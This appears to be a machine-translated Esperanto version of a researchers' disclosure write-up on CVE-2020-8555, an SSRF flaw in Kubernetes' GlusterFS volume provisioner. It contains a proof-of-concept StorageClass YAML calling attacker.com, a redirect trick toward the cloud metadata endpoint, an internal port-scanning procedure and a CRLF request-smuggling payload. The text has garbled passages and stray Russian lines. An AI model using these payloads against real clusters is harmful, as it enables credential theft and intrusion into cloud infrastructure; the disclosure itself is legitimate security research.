🥇Kiam ne temas nur pri vundebleco en Kubernetes...

Notu. transl.: la aŭtoroj de ĉi tiu artikolo detale parolas pri kiel ili sukcesis malkovri la vundeblecon CVE-2020–8555 en Kubernetes. Kvankam komence ĝi ne ŝajnis tre danĝera, kombine kun aliaj faktoroj ĝia kritikeco montriĝis maksimuma por iuj nubaj provizantoj. Pluraj organizoj malavare rekompencis la specialistojn pro sia laboro.

Kiuj ni estas

Ni estas du francaj sekurecaj esploristoj, kiuj kune malkovris vundeblecon en Kubernetes. Niaj nomoj estas Brice Augras kaj Christophe Hauquiert, sed en multaj platformoj de Bug Bounty ni estas konataj kiel Reeverzax kaj Hach respektive:

Brice Augras - Kompanio Groupe Asten;
Christophe Hauquiert - Kubernetes-arkitekto ĉe Nokia.

Kio okazis?

Ĉi tiu artikolo estas nia maniero konigi kiel ordinara esplorprojekto neatendite fariĝis la plej ekscita aventuro en la vivo de cimĉasistoj (almenaŭ nuntempe).

Kiel vi verŝajne scias, cimĉasistoj havas kelkajn rimarkindajn funkciojn:

ili vivas per pico kaj biero;
ili funkcias kiam ĉiuj aliaj dormas.

Ni ne estas escepto de ĉi tiuj reguloj: ni kutime renkontiĝas semajnfine kaj pasigas sendormajn noktojn hakantajn. Sed unu el ĉi tiuj noktoj finiĝis en tre nekutima maniero.

Komence ni renkontiĝos por diskuti partoprenon en CTF la sekvan tagon. Dum konversacio pri sekureco de Kubernetes en administrita serva medio, ni memoris la malnovan ideon de SSRF (Servila Flanka Peto Falsiĝo) kaj decidis provi uzi ĝin kiel atakskripton.

Je la 11-a ni sidiĝis por esplori kaj enlitiĝis frumatene, tre kontentaj pri la rezultoj. Estis pro ĉi tiu esplorado ke ni trovis la MSRC Bug Bounty-programon kaj elpensis privilegian eskaladon.

Pluraj semajnoj/monatoj pasis, kaj nia neatendita rezulto rezultigis unu el la plej altaj rekompencoj en la historio de la Azure Cloud Bug Bounty - krom tiu, kiun ni ricevis de Kubernetes!

Surbaze de nia esplorprojekto, la Kubernetes Product Security Committee publikigis CVE-2020–8555.

Nun mi ŝatus disvastigi informojn pri la trovita vundebleco kiel eble plej multe. Ni esperas, ke vi aprezas la trovon kaj konigu la teknikajn detalojn kun aliaj membroj de la infosec-komunumo!

Do jen nia rakonto...

Kunteksto

Por kompreni kio okazis, unue ni rigardu kiel Kubernetes funkcias en nuba administrita medio.

Kiam vi instancas Kubernetes-grupon en tia medio, la administra tavolo estas kutime la respondeco de la nuba provizanto:

La kontroltavolo situas ĉe la perimetro de la nuba provizanto, dum la Kubernetes-nodoj situas ĉe la perimetro de la kliento.

Por dinamike asigni volumojn, mekanismo estas uzata por dinamike provizi ilin de ekstera stokado backend kaj kompari ilin kun PVC (persistenta volumena aserto, t.e. peto por volumeno).

Tiel, post kiam la PVC estas kreita kaj ligita al la StorageClass en la K8s-areto, pliaj agoj por provizi la volumenon estas transprenitaj de la administranto de kube/nuba regilo (ĝia preciza nomo dependas de la liberigo). (Notu. transl.: Ni jam skribis pli pri CCM uzante la ekzemplon de ĝia efektivigo por unu el la nubaj provizantoj tie.)

Estas pluraj specoj de provizantoj subtenataj de Kubernetes: la plej multaj el ili estas inkluzivitaj en orkestra kerno, dum aliaj estas administritaj de pliaj provizantoj, kiuj estas metitaj en podojn en la areton.

En nia esplorado, ni koncentriĝis pri la interna volumena provizanta mekanismo, kiu estas ilustrita malsupre:

Dinamika provizado de volumoj uzante la enkonstruitan Kubernetes-provizon

Mallonge, kiam Kubernetes estas deplojita en administrita medio, la regilo-manaĝero estas la respondeco de la nuba provizanto, sed la peto pri kreado de volumo (numero 3 en la supra diagramo) forlasas la internan reton de la nuba provizanto. Kaj ĉi tie aferoj fariĝas vere interesaj!

Haka scenaro

En ĉi tiu sekcio, ni klarigos kiel ni profitis la laborfluon menciitan supre kaj aliris la internajn rimedojn de la nuba servoprovizanto. Ĝi ankaŭ montros al vi kiel vi povas fari iujn agojn, kiel akiri internajn akreditaĵojn aŭ pligrandigi privilegiojn.

Unu simpla manipulado (en ĉi tiu kazo, Service Side Request Forgery) helpis iri preter la klientmedio en aretojn de diversaj teleliverantoj sub administritaj K8s.

En nia esplorado ni koncentriĝis pri la provizanto GlusterFS. Malgraŭ la fakto, ke la plia sekvenco de agoj estas priskribita en ĉi tiu kunteksto, Quobyte, StorageOS kaj ScaleIO estas susceptibles al la sama vundebleco.

Misuzo de dinamika volumena provizanta mekanismo

Dum stokado klasa analizo GlusterFS en la fontkodo de Golang-kliento ni rimarkiske sur la unua HTTP-peto (3) sendita dum kreado de volumo, ĝis la fino de la kutima URL en la parametro resturl estas aldonita /volumes.

Ni decidis forigi ĉi tiun aldonan vojon aldonante # en parametro resturl. Jen la unua YAML-agordo, kiun ni uzis por testi por duonblinda SSRF-vunerebleco (vi povas legi pli pri duonblinda aŭ duonblinda SSRF, ekzemple, tie - ĉ. traduk.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Tiam ni uzis la binaron por malproksime administri la Kubernetes-grupon kubectl. Tipe, nubaj provizantoj (Azure, Google, AWS, ktp.) permesas vin akiri akreditaĵojn por uzo en ĉi tiu utileco.

Dank' al tio, mi povis uzi mian "specialan" dosieron. Kube-controller-manager efektivigis la rezultan HTTP-peton:

kubectl create -f sc-poc.yaml

La respondo el la vidpunkto de la atakanto

Baldaŭ post tio, ni ankaŭ povis ricevi HTTP-respondon de la cela servilo - per la komandoj describe pvc aŭ get events en kubectl. Kaj efektive: ĉi tiu defaŭlta Kubernetes-ŝoforo estas tro multvorta en siaj avertoj/eraraj mesaĝoj...

Jen ekzemplo kun ligilo al https://www.google.fragordu kiel parametron resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

En ĉi tiu aliro, ni estis limigitaj al demandoj kiel HTTP POST kaj ne povus ricevi la enhavon de la respondkorpo se la revenkodo estis 201. Tial, ni decidis fari plian esploradon kaj vastigis ĉi tiun hakan scenaron per novaj aliroj.

La evoluo de nia esplorado

Altnivela Scenaro #1: Uzante 302-alidirektilon de ekstera servilo por ŝanĝi la HTTP-metodon por provizi pli flekseblan manieron kolekti internajn datumojn.
Altnivela Scenaro #2: Aŭtomatigu LAN-skanadon kaj malkovron de internaj rimedoj.
Altnivela scenaro n-ro 3: uzado de HTTP CRLF + kontrabando ("petokontrabandado") por krei tajloritajn HTTP-petojn kaj preni datumojn ĉerpitaj el kube-regilaj protokoloj.

Teknikaj Specifoj

La esplorado uzis Azure Kubernetes Service (AKS) kun Kubernetes-versio 1.12 en la Nord-Eŭropa regiono.
La scenaroj priskribitaj supre estis efektivigitaj en la plej novaj eldonoj de Kubernetes, kun la escepto de la tria scenaro, ĉar li bezonis Kubernetes konstruitan kun Golang-versio ≤ 1.12.
Ekstera servilo de atakanto - https://attacker.com.

Altnivela Scenaro #1: Redirektante HTTP-POST-peton al GET kaj ricevi sentemajn datumojn

La origina metodo estis plibonigita per la agordo de la servilo de la atakanto por reveni 302 HTTP Rekodopor konverti POST-peton al GET-peto (paŝo 4 en la diagramo):

Unua peto (3) venanta de la kliento GlusterFS (Regilo-Manaĝero), havas POST-tipo. Sekvante ĉi tiujn paŝojn ni povis igi ĝin GET:

Kiel parametro resturl en StorageClass ĝi estas indikita http://attacker.com/redirect.php.
Punkto de punkto https://attacker.com/redirect.php respondas per 302 HTTP-statusa kodo kun la sekva Loka Kapo: http://169.254.169.254. Ĉi tio povas esti ajna alia interna rimedo - en ĉi tiu kazo, la alidirekta ligilo estas uzata nur kiel ekzemplo.
defaŭlte net/http biblioteko Golang redirektas la peton kaj konvertas la POST al GET kun 302 statuskodo, rezultigante HTTP-GET-peton al la cela rimedo.

Por legi la HTTP respondkorpon vi devas fari describe PVC-objekto:

kubectl describe pvc xxx

Jen ekzemplo de HTTP-respondo en formato JSON, kiun ni povis ricevi:

La kapabloj de la trovita vundebleco tiutempe estis limigitaj pro la sekvaj punktoj:

Nekapablo enmeti HTTP-titolojn en eksiĝintan peton.
Nekapablo plenumi POST-peton kun parametroj en la korpo (tio estas oportuna peti la ŝlosilan valoron de etcd-instanco funkcianta sur 2379 haveno se neĉifrita HTTP estas uzata).
Nekapablo retrovi respondkorpan enhavon kiam la statuskodo estis 200 kaj la respondo ne havis JSON-Enhavo-Tipon.

Altnivela scenaro #2: Skanado de la loka reto

Ĉi tiu duonblinda SSRF-metodo tiam estis uzata por skani la internan reton de la nuba provizanto kaj baloti diversajn aŭskultajn servojn (Metadatumoj, Kubelet, ktp.) surbaze de la respondoj. kube-regilo.

Unue, la normaj aŭskultaj havenoj de Kubernetes-komponentoj estis determinitaj (8443, 10250, 10251, ktp.), kaj tiam ni devis aŭtomatigi la skanadon.

Vidante, ke ĉi tiu metodo de skanado de rimedoj estas tre specifa kaj ne kongruas kun klasikaj skaniloj kaj SSRF-iloj, ni decidis krei niajn proprajn laboristojn en bash-skripto, kiu aŭtomatigas la tutan procezon.

Ekzemple, por rapide skani la gamon 172.16.0.0/12 de la interna reto, 15 laboristoj estis lanĉitaj paralele. La ĉi-supra IP-intervalo estis elektita nur kiel ekzemplo kaj povas esti ŝanĝita al la IP-intervalo de via specifa servoprovizanto.

Por skani unu IP-adreson kaj unu havenon, vi devas fari la jenon:

forigu la lastan kontrolitan StorageClass;
forigi la antaŭan kontrolitan Konstantan Voluman Aserton;
ŝanĝi la IP- kaj Haveno-valorojn en sc.yaml;
krei StorageClass kun nova IP kaj haveno;
krei novan PVC;
eltiri skanajn rezultojn uzante priskribi por PVC.

Altnivela scenaro n-ro 3: CRLF-injekto + kontrabanda HTTP en "malnovaj" versioj de la Kubernetes-areto

Se krom tio la provizanto ofertis al klientoj malnovajn versiojn de la K8s-grupo и donis al ili aliron al la protokoloj de kube-controller-manager, la efiko iĝis eĉ pli signifa.

Estas ja multe pli oportune por atakanto ŝanĝi HTTP-petojn destinitajn por akiri plenan HTTP-respondon laŭ sia bontrovo.

Por efektivigi la lastan scenaron, la sekvaj kondiĉoj devis esti plenumitaj:

La uzanto devas havi aliron al kube-controller-manager protokoloj (kiel, ekzemple, en Azure LogInsights).
La Kubernetes-areto devas uzi version de Golang pli malalta ol 1.12.

Ni deplojis lokan medion, kiu simulis komunikadon inter la kliento GlusterFS Go kaj falsa celservilo (ni detenis nin publikigi la PoC nuntempe).

Estis trovata vundebleco, influante Golang-versiojn pli malaltajn ol 1.12 kaj permesante al piratoj efektivigi HTTP-kontrabandadon/CRLF-atakojn.

Kombinante la duonblinda SSRF priskribita supre вместе kun ĉi tio, ni povis sendi petojn laŭ nia plaĉo, inkluzive de anstataŭigo de kaplinioj, HTTP-metodo, parametroj kaj datumoj, kiujn kube-controller-manager tiam prilaboris.

Jen ekzemplo de funkcianta "logilo" en parametro resturl StorageClass, kiu efektivigas similan atakscenaron:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

La rezulto estas eraro nepetita respondo, mesaĝo pri kiu estas registrita en la regilaj protokoloj. Dank' al vorteco ebligita defaŭlte, la enhavo de la HTTP respondmesaĝo ankaŭ estas konservita tie.

Ĉi tio estis nia plej efika "logilo" kadre de pruvo de koncepto.

Uzante ĉi tiun aliron, ni povis efektivigi kelkajn el la sekvaj atakoj kontraŭ aretoj de diversaj administritaj k8s-provizantoj: privilegia eskalado kun akreditaĵoj pri metadatumoj, Majstro DoS per (neĉifritaj) HTTP-petoj sur etcd-majstraj petskriboj, ktp.

Konsekvencoj

En la oficiala deklaro de Kubernetes pri la vundebleco de SSRF, kiun ni malkovris, ĝi estis taksita CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Se ni konsideras nur la vundeblecon asociitan kun la perimetro de Kubernetes, la vektoro de integreco (integreca vektoro) ĝi kvalifikas kiel neniu.

Tamen, taksi la eblajn sekvojn en la kunteksto de administrita serva medio (kaj ĉi tio estis la plej interesa parto de nia esplorado!) instigis nin reklasigi la vundeblecon en takson. Kritika CVSS10/10 por multaj distribuistoj.

Malsupre estas pliaj informoj por helpi vin kompreni niajn konsiderojn kiam oni taksas la eblajn efikojn en nubaj medioj:

Integreco

Efektivigu komandojn malproksime uzante akiritajn internajn akreditaĵojn.
Reproduktante ĉi-supran scenaron uzante la metodon IDOR (Nesekura Rekta Objekta Referenco) kun aliaj rimedoj trovitaj en la loka reto.

Konfidenco

Atako tipo Flanka Movado danke al ŝtelo de nubaj akreditaĵoj (ekzemple, metadatumoj API).
Kolekti informojn per skanado de la loka reto (determinante la SSH-version, HTTP-servila version, ...).
Kolektu okazojn kaj infrastrukturajn informojn per sondado de internaj API-oj kiel la metadatuma API (http://169.254.169.254, ...).
Ŝteli klientajn datumojn per nubaj akreditaĵoj.

Disponibilidad

Ĉiuj ekspluatas scenarojn rilatajn al atakvektoroj sur integreco, povas esti uzata por detruaj agoj kaj konduki al majstraj okazoj de la klientperimetro (aŭ ajna alia) neatingebla.

Ĉar ni estis en administrita K8s-medio kaj taksante la efikon al integreco, ni povas imagi multajn scenarojn, kiuj povus influi haveblecon. Pliaj ekzemploj inkluzivas korupti la datumbazon de etcd aŭ fari kritikan vokon al la Kubernetes API.

Tempolimo

6-an de decembro 2019: Vulnerabileco raportita al MSRC Bug Bounty.
Januaro 3, 2020: Tria partio informis la programistojn de Kubernetes, ke ni laboras pri sekureca problemo. Kaj petis ilin konsideri SSRF kiel interna (en-kerna) vundebleco. Ni tiam provizis ĝeneralan raporton kun teknikaj detaloj pri la fonto de la problemo.
15 januaro 2020: Ni provizis teknikajn kaj ĝeneralajn raportojn al Kubernetes-programistoj laŭ ilia peto (per la platformo HackerOne).
La 15-an de januaro 2020: Kubernetes-programistoj sciigis al ni, ke duonblinda SSRF + CRLF-injekto por pasintaj eldonoj estas konsiderata kiel enkerna vundebleco. Ni tuj ĉesis analizi la perimetrojn de aliaj servoprovizantoj: la teamo K8s nun traktis la radikan kaŭzon.
La 15-an de januaro 2020: MSRC-rekompenco ricevita per HackerOne.
16-a de januaro 2020: Kubernetes PSC (Komitato pri Sekureca Produkto) rekonis la vundeblecon kaj petis konservi ĝin sekreta ĝis meze de marto pro la granda nombro da eblaj viktimoj.
La 11-an de februaro 2020: Guglo VRP-rekompenco ricevita.
Marto 4, 2020: Kubernetes-rekompenco ricevita per HackerOne.
La 15-an de marto 2020: Origine planita publika malkaŝo prokrastita pro la situacio de COVID-19.
Junio 1, 2020: Kubernetes + Microsoft komuna deklaro pri la vundebleco.

TL; DR

Ni trinkas bieron kaj manĝas picon :)
Ni malkovris en-kernan vundeblecon en Kubernetes, kvankam ni ne intencis tion fari.
Ni faris plian analizon pri aretoj de malsamaj nubaj provizantoj kaj povis pliigi la damaĝon kaŭzitan de la vundebleco por ricevi pliajn mirindajn gratifikojn.
Vi trovos multajn teknikajn detalojn en ĉi tiu artikolo. Ni volonte diskutus ilin kun vi (Twitter: @ReeverZax & @__hach_).
Montriĝis, ke ĉiaj formalaĵoj kaj raportado daŭris multe pli longe ol atendite.

referencoj

PS de tradukisto

Legu ankaŭ en nia blogo:

fonto: www.habr.com

Kiam ne temas nur pri vundeblecoj de Kubernetes...